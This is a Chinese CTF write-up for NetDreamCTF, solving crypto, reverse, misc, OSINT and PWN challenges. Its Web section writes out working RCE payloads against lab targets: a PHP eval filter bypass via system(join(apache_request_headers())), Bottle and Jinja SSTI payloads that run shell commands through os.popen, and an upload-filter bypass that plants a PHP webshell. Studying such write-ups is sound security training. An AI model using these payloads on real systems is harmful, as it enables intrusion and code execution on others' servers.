本次NetDreamCTF由黄豆安全实验室主办,赛制为解题(Jeopardy),包括Misc、Crypto、Reverse、Web、PWN、OSINT六个方向的赛题,难度适中,适合大部分CTFer。
Rank: 3
MISC
签到
你知道Base和TXT吗?
Y3RmLmN0Zi52aW4=
先base64解码,得到:ctf.ctf.vin
根据提示TXT,在线nslookup域名解析 查询TXT记录:
flag:flag{W3lc0m3_T0_NETDREAMCTF!!!!!}
ezimg
010editor查看jpg末尾有字符串:
1 | aHR0cHM6Ly93d3cuYmlsaWJpbGkuY29tL3ZpZGVvL0JWMUdKNDExeDdoNy8=aHR0cHM6Ly9kb2NzLnFxLmNvbS9kb2MvRFpXeG9iSGhtUlc5cGQwOWs= |
base64解码:
1 | https://www.bilibili.com/video/BV1GJ411x7h7/https://docs.qq.com/doc/DZWxobHhmRW9pd09k |
打开:https://docs.qq.com/doc/DZWxobHhmRW9pd09k
全选复制粘贴到txt,内容:
1 | flag{114514-1919810-B1ngF3i_1s_a_@mazing_0ld3r} |
是假flag,base64解码:
1 | https://wwgn.lanzoul.com/i3q4y30huefa |
下载ezimg.zip,解压有ezimg.py:
1 | from cryptography.fernet import Fernet; import base64; key = base64.urlsafe_b64encode(b'flag{xxx}'[:32].ljust(32, b'\0')[:32]); cipher = Fernet(key); encrypted = cipher.encrypt(b'flag{xxxx}'); #c=gAAAAABoa6KH5msX3aA5PUiSZq1Ubma9DvtpU9ywyijLEbfQYNl-hn5Q_4NlmpcAD2pNjq07KvMYd2R32Id_R_3iW5GZn3yKTBW5R_5jFI_307_S9oep0zE0dhZCf_XOymC2WQhB2_6s |
将假flag作为key,解密:
1 | from cryptography.fernet import Fernet |
I_AM_K
B3F0re赵的立方体-1398441600
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36 import base64
def encrypt(plaintext, key):
key_sum = sum(ord(char) for char in key)
if not plaintext.startswith("flag{"):
plaintext = "flag{" + plaintext
if not plaintext.endswith("}"):
plaintext += "}"
encrypted = []
for char in plaintext:
encrypted_char = (ord(char) + key_sum) % 256
encrypted.append(encrypted_char)
encrypted_bytes = bytes(encrypted)
base64_encoded = base64.b64encode(encrypted_bytes).decode('utf-8')
shift = key_sum % 26
caesar_shifted = ""
for char in base64_encoded:
if char.isalpha():
shifted_char = chr(((ord(char) - ord('A') + shift) % 26 + ord('A'))) if char.isupper() else chr(((ord(char) - ord('a')) + shift) % 26 + ord('a'))
caesar_shifted += shifted_char
else:
caesar_shifted += char
hex_encoded = caesar_shifted.encode('utf-8').hex()
return hex_encoded
key = "xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx"
plaintext = "Thi5 1s th3 Fl@g"
ciphertext = encrypt(plaintext, key)
print(ciphertext)
#686545356839417466377a5266364133695a54556a376857696f6c4e67377a5166364248
key未知,计算key_sum,先对明文字符做增量,base64编码后,再由key_sum%26的shift做凯撒移位。小范围内爆破key_sum即可。
1 | import base64 |
问卷
flag:flag{Never_Gonna_Give_You_Up-Never_Gonna_Let_You_Down}
CRYPTO
EzRSA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39 import sys
import random
from sympy import nextprime
import binascii
FLAG = b"flag{xxxxxxx}"
BIT_SIZE = 512
DIFF = 1000
def generate_close_primes(bit_size, diff):
start = random.getrandbits(bit_size) | 1
p = nextprime(start)
q = nextprime(p + diff)
return p, q
def flag_to_int(flag_bytes):
return int.from_bytes(flag_bytes, byteorder='big')
def main():
p, q = generate_close_primes(BIT_SIZE, DIFF)
n = p * q
e = 3
m = flag_to_int(FLAG)
c = pow(m, e, n)
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
if __name__ == "__main__":
main()
"""
n = 3256593900815599638610948588846270419272266309072355018531019815816383416972716648196614202756266923662468043040766972587895880348728177684427108179441398076920699534139836200520410133083399544975367893285080239622582380507397956076038256757810824984700446326253944197017126171652309637891515864542581815539
e = 3
c = 1668144786169714702301094076704686642891065952249900945234348491495868262367689770718451252978033214169821458376529832891775500377565608075759008139982766645172498702491199793075638838575243018129218596030822468832530007275522627172632933
"""
$p,q$ 相差接近1000,对 $n$ 开方后爆破求 $q$。
之后 $\gcd(e,\varphi)=3$,先常规RSA用 $\cfrac{e}{3}$ 求出 $m^3$ 再小指数开立方即可。
1 | from Crypto.Util.number import * |
Quaternion_Lock
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69 import random
p = 9223372036854775783
e = 65537
subgroup_order = 60480
def qmul(q1, q2, p):
a1, b1, c1, d1 = q1
a2, b2, c2, d2 = q2
return (
(a1*a2 - b1*b2 - c1*c2 - d1*d2) % p,
(a1*b2 + b1*a2 + c1*d2 - d1*c2) % p,
(a1*c2 - b1*d2 + c1*a2 + d1*b2) % p,
(a1*d2 + b1*c2 - c1*b2 + d1*a2) % p
)
def qconj(q, p):
a, b, c, d = q
return (a % p, (-b) % p, (-c) % p, (-d) % p)
def qnorm(q, p):
a, b, c, d = q
return (a*a + b*b + c*c + d*d) % p
def qinv(q, p):
n = qnorm(q, p)
inv_n = pow(n, -1, p)
qc = qconj(q, p)
return (qc[0] * inv_n % p, qc[1] * inv_n % p, qc[2] * inv_n % p, qc[3] * inv_n % p)
def qpow(q, exp, p):
result = (1, 0, 0, 0)
base = q
while exp:
if exp & 1:
result = qmul(result, base, p)
base = qmul(base, base, p)
exp //= 2
return result
def encode_flag(flag):
flag_bytes = flag.encode()
parts = [flag_bytes[0:8], flag_bytes[8:15], flag_bytes[15:22], flag_bytes[22:29]]
return tuple(int.from_bytes(part, 'big') for part in parts)
def main():
flag = "flag{xxx-xxx-xxx-xxx-xxx-xxx}"
F = encode_flag(flag)
F_q = F
g = (2, 1, 0, 0)
h = qpow(g, ((p * p - 1) // subgroup_order), p)
r = random.randint(1, subgroup_order - 1)
K = qpow(h, r, p)
Y = qpow(K, e, p)
K_inv = qinv(K, p)
X = qmul(K, qmul(F_q, K_inv, p), p)
print("----- Public Parameters -----")
print("p =", p)
print("e =", e)
print("X =", X)
print("Y =", Y)
print("-----------------------------")
if __name__ == "__main__":
main()
'''
X = (7380380986429696832, 34163292457091182, 3636630423226195928, 3896730209645707435)
Y = (1015918725738180802, 4456058114364993854, 0, 0)
'''
定义了四元数,且有:
四元数对应的 $\varphi=p^4-1$,即可求出 $d = e^{-1} \bmod \varphi$,进而:
1 | from Crypto.Util.number import * |
WEB
ezbypass
1
2
3
4
5
6
7
8
9
10
11
12
$test=$_GET['test'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|implode|phpinfo|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|session_id|session_start|echo|readfile|highlight|show|source|file|assert/i", $test)){
eval($test);
}
else{
echo "oh nonono hacker!";
}
highlight_file(__FILE__);
命令执行考点,过滤很多符号和关键字,发现system和include未被禁,再利用从HTTP头读入内容的内置函数(getallheaders() 或 apache_request_headers())可获取自由输入值,get被禁,只能用后者。
apache_request_headers() 返回值是 Array,搜索 Array相关的内置函数,且不含 “array_” 开头 & 不在正则中的,找到 join() 函数,可连接所有值。
bp抓包,测试时使用 include 回显:
1 | /?test=include(join(apache_request_headers())); |
会讲HTTP头里所有值连接带出,在bp中删除大部分带特殊字符的字符串,增加自定义键值对作为自定义命令,include 换为 system,加上|管道符,即可成功rce:
1 | /?test=system(join(apache_request_headers())); |
Pickle♥dill
Just the Two of Us
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132 # Have fun!
import os
import mimetypes
import dill
from bottle import Bottle, run, request, template, response
from base64 import b64encode
app = Bottle()
UPLOAD_DIR = os.path.abspath('./uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)
class chal():
# flag here
pass
INDEX_TEMPLATE = '''
<!DOCTYPE html>
<html>
<head>
<title>文件管理</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.container { max-width: 800px; margin: 0 auto; }
form { margin-bottom: 20px; padding: 20px; border: 1px solid #ddd; border-radius: 5px; }
input[type="file"], input[type="text"] { margin: 10px 0; }
.message { color: green; margin: 10px 0; }
.error { color: red; }
</style>
</head>
<body>
<div class="container">
<h1>文件上传</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="上传" />
</form>
<h1>文件读取</h1>
<form action="/read" method="get">
<input type="text" name="filename" placeholder="输入文件名" required />
<input type="submit" value="读取" />
</form>
% if message:
<div class="message">{{message}}</div>
% end
% if error:
<div class="error">{{error}}</div>
% end
</div>
</body>
</html>
'''
def render_template(message='', error=''):
return template(INDEX_TEMPLATE, message=message, error=error)
def index():
return render_template()
def upload_file():
upload = request.files.get('file')
if not upload:
return render_template(error='请选择要上传的文件')
if '..' in upload.filename:
return render_template(error='不要透我!>_<')
filename = os.path.basename(upload.filename)
if not filename:
return render_template(error='无效的文件名')
save_path = os.path.join(UPLOAD_DIR, filename)
try:
upload.save(save_path, overwrite=True)
except Exception as e:
return render_template(error=f'上传失败: {str(e)}')
return render_template(message=f'文件 {filename} 上传成功!')
def read_file():
filename = request.query.get('filename', '').strip()
if not filename:
return render_template(error='请输入文件名')
if '..' in filename:
return render_template(error='不要透我!>_<')
safe_name = os.path.basename(filename)
if not safe_name:
return render_template(error='无效的文件名')
file_path = os.path.join(UPLOAD_DIR, safe_name)
if not os.path.exists(file_path):
return render_template(error='文件不存在')
if not os.path.isfile(file_path):
return render_template(error='请求的不是有效文件')
mime_type, _ = mimetypes.guess_type(file_path)
response.content_type = mime_type or 'application/octet-stream'
try:
with open(file_path, 'rb') as f:
content = f.read().decode(errors='replace')
try:
challenge = b64encode(dill.dumps(chal())).decode()
blacklist = dir(__builtins__)
blacklist += dir([])
blacklist += dir(1)
blacklist += dir(())
blacklist += dir(True)
blacklist += dir('NO HACKER')
# I'm pretty sure nothing can be done now ;)
# Even if i do not ban dicts, but, u know, is it too complex to SSTI with {} and without almost every magic methods?
# Here is a hint if you really get stuck:
# dHJ5IHRvIGV4cGxvaXQgd2l0aCBzb21ldGhpbmcgdW5pcXVlIHRvIGJvdHRsZSA+Xzw=
for i in blacklist:
if i in content:
return 'STOP HACKING!'
return template(f'''% import pickle
% setdefault('chal', '{challenge}')
The content is: ''' + content) # Yeah I don’t know why but rendering it is so f**king fun! XD
except:
import traceback
traceback.print_exc()
return content
except Exception as e:
return render_template(error=f'文件读取失败: {str(e)}')
if __name__ == '__main__':
run(app, host='localhost', port=5000, debug=True, reloader=True)
bottle容器,/upload 路由上传文件,/read 路由读文件,且文件内容将作为template加载。过滤了很多内置对象,template里用setdefault设置了一个键值对,键名为chal,尝试设置上传文件的内容:
1 | {{chal}} |
由于:
1 | challenge = b64encode(dill.dumps(chal())).decode() |
/read 读出的是定义的chal类对象的序列化结果,即使用 dill.loads() 反序列化操作,得到的也是对应操作的字节码。
转变思路,尝试RCE,搜索bottle框架存在的特性,参考:
聊聊bottle框架中由斜体字引发的模板注入(SSTI)waf bypass
在bottle的SSTI里,他们可以被直接替换成ª
(U+00AA),º
(U+00BA)进而绕过各种waf。
尝试构造:
1 | {{__impºrt__("os").pºpen("cat app.py|base64").read()}} |
上传后,访问:
1 | /read?filename=1.txt |
得到的内容base64解码得到源码,即可看到flag:
1 | import os |
ezupload
title
一个文件上传点,上传一个jpg图片,使用bp抓包。
尝试修改文件后缀为php会替换为空,双写或三写php同样会替换为空;使用 .htaccess 的方法,.htaccess 文件会被重命名;文件内容也会被检测,无法以 <?
开头。
多次尝试偶然发现四写php居然就成功了…
使用 <script language="PHP">...</script>
写入PHP语句。
最后访问 /uploads/1.php 得到flag。
ezpython
Hint:
fuzz部分需要爆破http://x.x.x.x/的路径,六位数
访问页面,F12源码提示:
1 | <!-- :/s3c0nd --> |
访问 /s3c0nd 后提示:
1 | only fuzz(number) |
根据hint,bp爆破或直接尝试出路由 /114514,访问,F12源码提示:
1 | <!-- 听说访问该页面的某get参数的某个数值可以爆源码 --> |
bp爆破或直接尝试参数为name,SSTI RCE即可:
1 | /114514?name={{cycler.__init__.__globals__.os.popen(%27cat%20/flag%27).read()}} |
REVERSE
NMTZ_LIKE_RE
IDA打开,main函数:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
先计算Str1,再输入字符串存入Buffer,需要两者相等。
将35行的anti_debug();反调试nop掉(call anti_debug),然后在Str1计算完成后的43行打断点,动调获取Str1结果即可。
flag:flag{Nu0_M1_Tu@n_Z1_1s_Th3_GO0d3st_CTF3r}
ezre
先查壳,有upx壳,用XVolkolak脱壳,IDA打开,从字符串交叉引用找到主函数:
1 | int sub_401496() |
v1中的值经sub_401460()的高低位交换操作后,与v2中的值异或,得到的值需与输入字符串相等。
1 | v1 = [ 0x3B, 0x73, 0x13, 0x1B, 0xF3, 0x81, 0x81, 0x81, 0x0B, 0x89, |
PWN
ezpwn
32位,IDA打开,vuln函数:
1 | ssize_t vuln() |
read大小0x80>0x48,存在栈溢出,且程序有现成shell函数,ret2text。
1 | from pwn import * |
OSINT
Where_am_i
flag{建筑名}
百度识图,搜索页:
flag:flag{渥太华医院}
Bridge
flag{桥名}
百度识图,单独截图桥柱搜索,找到结果页跟进:
https://mbd.baidu.com/newspage/data/dtlandingsuper?nid=dt_4627947414028434985&sourceFrom=search_a
flag:flag{牌楼长江大桥}